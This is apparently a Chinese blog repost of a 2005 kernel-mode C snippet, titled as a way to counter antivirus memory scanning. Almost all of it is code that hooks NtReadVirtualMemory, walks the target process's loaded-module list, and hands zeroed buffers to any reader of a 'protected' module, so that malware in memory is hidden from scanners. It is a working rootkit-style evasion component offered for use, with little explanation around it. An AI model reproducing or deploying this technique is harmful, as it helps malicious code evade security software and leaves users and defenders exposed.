对抗杀毒软件的内存扫描

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最新推荐文章于 2024-11-11 12:43:51 发布

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分类专栏：病毒汇编和调试逆向技术加脱壳 windows底层核心編程文章标签：杀毒软件 table buffer list exception string

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Author:  Polymorphours
Email:   Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date:    2005-11-17

/*++
        Author: Polymorphours
	
	Date: 2005/1/10

	通过对 NtReadVirtualMemory 挂钩，防止其他进程对保护的模块进行扫描，
	如果发现其他进程读被保护模块的内存，则返回0

--*/


typedef struct _LDR_DATA_TABLE_ENTRY {
	
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	
	
	/*
	+0x034 Flags            : Uint4B
	+0x038 LoadCount        : Uint2B
	+0x03a TlsIndex         : Uint2B
	+0x03c HashLinks        : _LIST_ENTRY
	+0x03c SectionPointer   : Ptr32 Void
	+0x040 CheckSum         : Uint4B
	+0x044 TimeDateStamp    : Uint4B
	+0x044 LoadedImports    : Ptr32 Void
	+0x048 EntryPointActivationContext : Ptr32 Void
	+0x04c PatchInformation : Ptr32 Void	
	*/
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

/*++

	函数名: MyNtReadVirtualMemory
	
	参数:
		IN	HANDLE	ProcessHandle,
		IN	PVOID	BaseAddress,
		OUT	PVOID	Buffer,
		IN	ULONG	BufferLength,
		OUT	PULONG	ReturnLength	OPTIONAL
		
	功能：
		隐藏保护模块的内存,如果发现有内存扫描到这块内存，则返回加密后的数据扰乱扫描过程
		
	返回:
		NTSTATUS
		
--*/


NTSTATUS
MyNtReadVirtualMemory(
	IN	HANDLE	ProcessHandle,
	IN	PVOID	BaseAddress,
	OUT	PVOID	Buffer,
	IN	ULONG	BufferLength,
	OUT	PULONG	ReturnLength	OPTIONAL
	)
{
	NTSTATUS	status;
	PEPROCESS	eProcess;
	PVOID		Peb;
	
	PPEB_LDR_DATA	PebLdrData;
	PLDR_DATA_TABLE_ENTRY	LdrDataTableHeadList;
	PLDR_DATA_TABLE_ENTRY	LdrDataTableEntry;
	
	PLIST_ENTRY			Blink;
	PPROTECT_NODE		FileNode = NULL;
	BOOLEAN				bHideFlag = FALSE;
	ULONG				ImageMaxAddress = 0;

/*
#ifdef _DEBUG
	DbgPrint( "Call Process: %s, BaseAddress: %08x/n", PsGetProcessImageFileName( PsGetCurrentProcess() ), BaseAddress );
#endif
*/

	status =ObReferenceObjectByHandle(
				ProcessHandle,
				FILE_READ_DATA,
				PsProcessType,
				KernelMode,
				(PVOID)&eProcess,
				NULL
				);
	if ( NT_SUCCESS(status) ) {
		
		//
		// 得到PEB的地址
		//
		
		Peb = (PVOID)(*(PULONG)((PCHAR)eProcess + PebOffset));
		
		//
		// 切换到目标进程空间
		//
		
		
		KeAttachProcess( eProcess );
		
		//
		// 判断PEB是否有效，如果有效，那么准备利用PEB结构遍历进程加载的模块
		//

		if ( !MmIsAddressValid( Peb ) ) {

/*
#ifdef _DEBUG
			DbgPrint( "PEB is error./n" );
#endif
*/
			
			KeDetachProcess();
			ObDereferenceObject( eProcess );
			
			goto CLEANUP;
		}
		
		PebLdrData = (PPEB_LDR_DATA)(*(PULONG)( (PCHAR)Peb + 0xc ));
		
		if ( !PebLdrData ) {
			
			KeDetachProcess();
			ObDereferenceObject( eProcess );
			
			goto CLEANUP;
		}
		
		try {
			
			ProbeForRead ( 
				PebLdrData,
				sizeof(PEB_LDR_DATA),
				sizeof(ULONG)
				);
				
			//
			// 遍历模块链表
			//
			
			LdrDataTableHeadList = (PLDR_DATA_TABLE_ENTRY)PebLdrData->InLoadOrderModuleList.Flink;
			LdrDataTableEntry = LdrDataTableHeadList;
			
			
			do {
				
				ProbeForRead(
					LdrDataTableEntry,
					sizeof(LDR_DATA_TABLE_ENTRY),
					sizeof(ULONG)
					);
					
				if ( !LdrDataTableEntry->DllBase ) {

					LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
					continue;	
				}

				
				//
				// 判断读的内存属于那一个模块，如果都不属于，那么放过
				//

				ImageMaxAddress = (ULONG)((ULONG)LdrDataTableEntry->DllBase + LdrDataTableEntry->SizeOfImage);
				
				if ( (ULONG)( (ULONG)BaseAddress + BufferLength) < (ULONG)LdrDataTableEntry->DllBase ||
					 (ULONG)BaseAddress > ImageMaxAddress ) {

					 //
					 // 如果不是读模块区域，那么枚举下一个
					 //	

					LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
					continue;	
				}
				
				//
				// 如果是被保护的模块，那么返回虚假数据
				//

				bHideFlag = FALSE;
				Blink = ProtectFile.Blink;
				

				while ( Blink != &ProtectFile ) {

					FileNode = CONTAINING_RECORD( Blink, PROTECT_NODE, ActiveLink );
					
					//
					// 如果发现当前文件存在于隐藏列表，那么设置隐藏标志隐藏它
					//

					if ( wcsstr( FileNode->ProtectName, LdrDataTableEntry->FullDllName.Buffer ) ) {

						bHideFlag = TRUE;
						break;
					}

					Blink = Blink->Blink;
				}
				
				if ( bHideFlag ) {
					
					//
					// 返回原本的进程空间进行处理
					//

					KeDetachProcess();
					ObDereferenceObject( eProcess );

					ProbeForWrite(
						Buffer,
						BufferLength,
						sizeof(ULONG)
						);
						
					memset( Buffer, 0x00, BufferLength );
					
					ProbeForWrite(
						ReturnLength,
						sizeof(PULONG),
						sizeof(ULONG)
						);
					
					*ReturnLength = BufferLength;
					
					return STATUS_SUCCESS;
				}
			
				LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
				
			} while ( LdrDataTableEntry != LdrDataTableHeadList );
			

		} except( EXCEPTION_EXECUTE_HANDLER ) {

			if ( !bHideFlag ) {
				
				KeDetachProcess();
				ObDereferenceObject( eProcess );
			}

			goto CLEANUP;
		}


		KeDetachProcess();
		ObDereferenceObject( eProcess );
	}
	
CLEANUP:

	return NtReadVirtualMemory(
			ProcessHandle,
			BaseAddress,
			Buffer,
			BufferLength,
			ReturnLength
			);
}